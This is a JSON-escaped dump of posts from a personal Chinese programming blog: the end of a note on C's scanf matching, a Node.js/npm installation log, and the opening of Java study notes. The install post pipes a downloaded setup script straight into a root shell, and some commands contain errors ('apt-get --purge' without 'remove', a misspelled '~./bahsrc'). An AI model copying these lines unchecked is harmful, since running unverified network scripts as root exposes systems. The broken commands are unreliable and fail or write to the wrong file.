,发生了什么呢?\u003c/p\u003e\u003cp\u003e这时候C语言就会采取逐字符匹配的原则来工作。PS:每两次执行之间都会被\u003ccode\u003egetchar()\u003c/code\u003e函数从缓存区拿走一个 ‘,’ 。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e缓存区\u003c/th\u003e\u003cth align=\"center\"\u003e执行顺序\u003c/th\u003e\u003cth align=\"center\"\u003e匹配值\u003c/th\u003e\u003cth align=\"center\"\u003e退出原因\u003c/th\u003e\u003cth align=\"center\"\u003e执行操作\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e3,4-3,5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e‘-‘ 与 ‘,’ 不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003ec=3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e4-3,5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e2\u003c/td\u003e\u003ctd align=\"center\"\u003e4-3\u003c/td\u003e\u003ctd align=\"center\"\u003e格式化字符串匹配结束\u003c/td\u003e\u003ctd align=\"center\"\u003ec=4,e=3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e5-\u003c/td\u003e\u003ctd align=\"center\"\u003e‘,’ 与\u003ccode\u003e%d\u003c/code\u003e不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003ec=5\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003ea-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e4\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e‘a’ 与\u003ccode\u003e%d\u003c/code\u003e不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这么看来,即使没有完全匹配到规定的字符串,\u003ccode\u003esacnf\u003c/code\u003e函数也会将现有匹配到的先作使用,即使后面匹配失败,前面匹配成功的部分依然有效。\u003c/p\u003e\u003cp\u003e结合前面,我们还可以知道如果输入的是 \u003ccode\u003e3, 4- 3, 5-, a-5\u003c/code\u003e (中间多了空格),因为匹配 \u003ccode\u003e%d\u003c/code\u003e 时会忽略空格回车的机制,即使逗号后面加了空格,和原输入也还是等价的。这么做还是有一些小缺陷,因为输入时即使按照要求,也可能因为习惯,在逗号前加了空格,我们可以这么处理。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint c, e;char m;do{ scanf(\u0026#34;%d-%d\u0026#34;, \u0026amp;c, \u0026amp;e); /* 省略存储过程 */ do{ m = getchar(); }while(m==\u0026#39; \u0026#39;);} while (m==\u0026#39;,\u0026#39;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样处理的代码,即使在分隔符前后都加上空格,我们也能确保它正确处理,代码变得友好了很多。至于其他情况嘛……有精力的话也可以再设计一下,我是不想设计了hhhh,毕竟已经满足以a-b的形式输入系数-指数,以英文逗号分隔的要求了~(不听话的用户活该得不到正确结果!hhhh开玩笑)\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"其他占位符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E5%85%B6%E4%BB%96%E5%8D%A0%E4%BD%8D%E7%AC%A6\" class=\"headerlink\" title=\"其他占位符\"\u003e\u003c/a\u003e其他占位符\u003c/h2\u003e\u003chr/\u003e\u003cp\u003e其他占位符也有类似的情况,在此不再赘述,想要研究的小伙伴可以自行研究一下!\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/"},{"title":"记一次npm和nodejs安装过程","time":"2022-03-26T12:05:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近接触vue-cli,需要用到nodejs和npm。直接\u003ccode\u003eapt-get\u003c/code\u003e安装完成后发现版本过低,换源也不解决问题。最后必应解决了。\u003c/p\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e首先彻底卸载nodejs和npm:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge npm\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge nodejs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge nodejs-legacy\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后去NodeSource获取换源指令并安装nodejs和npm,如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# Using Ubuntu\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -fsSL https://deb.nodesource.com/setup_14.x | sudo -E bash -\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install -y nodejs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# Using Debian, as root\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -fsSL https://deb.nodesource.com/setup_14.x | bash -\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get install -y nodejs\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成。\u003c/p\u003e\u003ch2 id=\"新的问题:npm-not-found\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%96%B0%E7%9A%84%E9%97%AE%E9%A2%98%EF%BC%9Anpm-not-found\" class=\"headerlink\" title=\"新的问题:npm not found\"\u003e\u003c/a\u003e新的问题:npm not found\u003c/h2\u003e\u003cp\u003e我安装完成后发现,npm指令执行报错:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e-bash: /usr/local/bin/npm: No such file or directory\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e经过排查,发现是符号链接异常导致:npm会安装在\u003ccode\u003e/usr/bin/\u003c/code\u003e下,而在\u003ccode\u003e/usr/local/bin/\u003c/code\u003e下会创建软链接指向前者。所以只需要删掉原来的链接再手动创建就可以啦:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /usr/local/bin/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e npm \u0026amp;\u0026amp; sudo \u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /usr/bin/npm /usr/local/bin/npm\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这时候再输入\u003ccode\u003enpm -v\u003c/code\u003e,就可以看到npm正常运行了。\u003c/p\u003e\u003ch2 id=\"再安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E5%86%8D%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"再安装\"\u003e\u003c/a\u003e再安装\u003c/h2\u003e\u003cp\u003e直接扔\u003ccode\u003e/usr/local\u003c/code\u003e底下然后把\u003ccode\u003ebin\u003c/code\u003e加到\u003ccode\u003e$PATH\u003c/code\u003e就行,省时省力。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewget https://mirrors.ustc.edu.cn/node/latest-v20.x/node-v20.5.1-linux-x64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; tar -zxvf node-v20.5.1-linux-x64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; sudo \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e node-v20.5.1-linux-x64 /usr/local/node \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;export PATH=$PATH:\u0026#34;/usr/local/node/bin\u0026#34;\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; ~./bahsrc \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e ~/.bashrc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"换源\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"换源\"\u003e\u003c/a\u003e换源\u003c/h2\u003e\u003cp\u003e一条指令就行,执行结果会在\u003ccode\u003e~/.npmrc\u003c/code\u003e里。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm config \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e registry https://registry.npm.taobao.org\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e换了淘宝源。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/"},{"title":"Java学习笔记:基础篇","time":"2022-01-11T10:34:40Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"序言\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%BA%8F%E8%A8%80\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h1\u003e\u003cp\u003e说起来,自从学完了C语言,很久都没有成系统地学完一门编程语言了。\u003c/p\u003e\u003cp\u003ePython和PHP比较简单,基本都是边用边查学完的;Kotlin则是最近学Android开发顺便学的;C++倒是系统看过一遍书,不过最近基本没咋写过,忘的也差不多了;C#好久之前学的了,也就是写UWP的时候学了一点;JS?好像会,又好像不会(\u003c/p\u003e\u003cp\u003e快寒假了,也该摸点鱼了。梳理一下:Android学了大半,ML/DL没碰,Unity还在新建文件夹,算法就看了一点点。仔细想了想,还是先学点Java吧,一来下学期要学,二来和Android开发联系也紧密。最重要的是,这次得认真学学面向对象了。虽然在Python和PHP里都在用,但是终归还是系统学习一遍为上。\u003c/p\u003e\u003cp\u003e我用的是《Java核心技术》卷一/二。很多人在推荐,试读了一下,感觉不错,不像黑皮系列那么难读,废话也比较少。\u003c/p\u003e\u003ch1 id=\"Java简介\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"Java简介\"\u003e\u003c/a\u003eJava简介\u003c/h1\u003e\u003cp\u003e官方白皮书给出了如下关键字:简单性(接近C++)、面向对象(支持多重继承)、分布式、健壮性(优秀的指针模型)、安全性(复杂的安全模型)、体系结构中立(Java虚拟机)、可移植性(众多平台独立的Java库)、\u003cstrong\u003e解释型\u003c/strong\u003e(轻量的编译过程)、高性能(即时编译器)、多线程、动态性。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e虽然关键字里有“解释型”,然而Java是真正的编译型语言。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e虽然说Java是纯粹的面向对象语言,不过它并没有做到完全的面向对象:int,double等基本数据类型仍然不是对象。不过同样基于JVM(Java虚拟机)的Kotlin做到了完全的面向对象。\u003c/p\u003e\u003ch1 id=\"Java环境配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"Java环境配置\"\u003e\u003c/a\u003eJava环境配置\u003c/h1\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e在Windows下,访问\u003ca href=\"https://www.oracle.com/java/technologies/downloads/\"\u003eOracle官网\u003c/a\u003e,下载JDK(Java Development Kit)后安装,并将\u003ccode\u003ejdk/bin/\u003c/code\u003e目录加入环境变量(详情百度)即可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eLinux使用相应的包管理器(apt,yum等)直接安装即可。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e安装完成后,可以安装库源文件:找到\u003ccode\u003ejdk/lib\u003c/code\u003e目录,将\u003ccode\u003esrc.zip\u003c/code\u003e解压到\u003ccode\u003ejdk/javasrc/\u003c/code\u003e目录下即可。同时也可下载官方文档,在官网上能找到。\u003c/p\u003e\u003ch1 id=\"JDK基本使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#JDK%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"JDK基本使用\"\u003e\u003c/a\u003eJDK基本使用\u003c/h1\u003e\u003cp\u003e打开记事本(或其他文本编辑器),写入以下内容:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eHello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(greeting);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;greeting.length();i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另存为\u003ccode\u003eHello.java\u003c/code\u003e并打开\u003ccode\u003ecmd\u003c/code\u003e并切换到当前目录。在\u003ccode\u003ecmd\u003c/code\u003e中输入以下内容以编译并运行:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ejavac Hello.java\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejava Hello\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是我们的第一个程序。掌握基础操作后,你可以使用你喜欢的IDE进行开发。我偏向使用VSCode(理论上Android Studio应该也可以)。\u003c/p\u003e\u003ch1 id=\"Java基本内容\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E5%9F%BA%E6%9C%AC%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"Java基本内容\"\u003e\u003c/a\u003eJava基本内容\u003c/h1\u003e\u003ch2 id=\"程序结构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"程序结构\"\u003e\u003c/a\u003e程序结构\u003c/h2\u003e\u003cp\u003eJava程序是以类为单位的,类则是一种自定义数据结构(类似于C中的结构体struct)。上面的程序包含了一个public类型的class(类),Hello是这个类的类名,这名称需和文件名同名。和C语言一样,Java也是大小写敏感的。习惯上将类名的每个单词首字母大写。\u003c/p\u003e\u003cp\u003e这个类中包含了一个main方法(也就是函数),作为这个Java程序的运行起点。这个方法中包含了该程序的所有逻辑,和C非常相似。\u003c/p\u003e\u003ch2 id=\"注释\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%B3%A8%E9%87%8A\" class=\"headerlink\" title=\"注释\"\u003e\u003c/a\u003e注释\u003c/h2\u003e\u003cp\u003eJava注释和C/C++基本一样,支持\u003ccode\u003e//\u003c/code\u003e和\u003ccode\u003e/*\u003c/code\u003e、\u003ccode\u003e*/\u003c/code\u003e,同时也支持另一种:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/**\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*这是一个注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*它可以自动生成文档\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后两种都不能嵌套。这和C/C++一致。\u003c/p\u003e\u003ch2 id=\"数据类型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" 